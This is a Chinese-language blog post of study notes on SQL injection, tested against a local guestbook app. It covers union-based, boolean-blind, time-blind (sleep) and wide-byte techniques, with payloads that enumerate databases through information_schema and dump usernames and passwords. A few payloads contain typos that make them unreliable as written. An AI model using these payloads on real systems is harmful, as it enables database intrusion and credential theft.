sql注入

作者: DeerLY | 来源:发表于2018-06-25 17:22 被阅读0次

    一、联合查询

    流程
    http://127.0.0.1/liuyanban/denglu.php?id=1
    在id=1 先加 ’
    然后 and 1=1
    然后 and 1=2
    如果不一样 整形
    如果一样
    ‘ and 1=1 ” and 1=1
    'and 1=2 " and 1=2
    如果不一样 字符型

    order by
    查询列数
    ‘ order by 1

    union
    作用将两个或多个select语句查询结果合并在一起 列数必须一样
    前提 页面上有显示位

    http://127.0.0.1/liuyanban/percenter.php?uid= -23 ’union select 1,
    group_concat(schema_name) from
    information_schema.shcemata,3,4,5,6,7 --+

    select group_concat(table_name) from information_schema.tables where table_schema ="lyb"

    select group_concat(column_name) from information_schema.column where table_schema = "lyb" and table_name = "user" ;

    select group_concat(concat(username,'~',password)) from lyb.user

    count 查询有多少行 limit 0,1

    二、布尔盲注

    前提
    页面中没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常

    速度慢,耗时长

    过程

    1 判断是整型还是字符型
    2 获取数据库个数
    3 判断第一个数据库名有多少个字符
    4 判断第一个库第一个字符

    <meta charset="utf-8">

    substr()函数

    作用

    截取字符串

    substr(string, num start,num length)

    字符串 起始位 长度

    <meta charset="utf-8">

    图片.png

    ascii() 函数

    作用

    返回字符成str的字符ascii码值。如果str是空字符串,返回0,如果string是null 返回null

    图片.png

    substring

    判断数据库个数

    and (select count(schema_name) from information_schema.schemata) >8

    判断第一个数据库名有多少个字符

    and (select length(schema_name) from information_schema.schema limit 0,1) >18

    判断第一个库的第一个字符

    and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)

    ,1,1)))>105

    判断第一个库的第二个字符

    and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)

    2,1))) >110

    三、时间盲注

    前提
    页面上没有显示位,也没有输出sql语句执行错误信息。

    时间盲注过程
    判断是整型还是字符型
    获取数据库个数
    判断第一个数据库名有多少个字符
    判断第一个数据库的第一个字符

    if(condition,a,b)
    当condition为ture时,返回a
    当condition为false时,返回b

    select if(ascii(substr("hello",1,1))=104,sleep(5),1)

    判断数据库个数
    if((select count(schema_name) from information_schema.schemata)=5,sleep(5),1)

    判断第一个数据库字符长度
    if((select length(schema_name) from information_schema.schemata limit 0,1)=18,sleep(5),1)

    判断第一个数据库字符的第一个字母
    if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)

    判断第一个数据库字符的第二个字母
    if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1)))=105,sleep(5),1)

    四、宽字节注入

    图片.png

    addslashes() 函数
    作用
    返回在预定义字符之前添加反斜杠的字符串

    预定义字符
    '
    "

    NULL

    相关文章

      网友评论

          本文标题:sql注入

          本文链接:https://www.haomeiwen.com/subject/gjnrsftx.html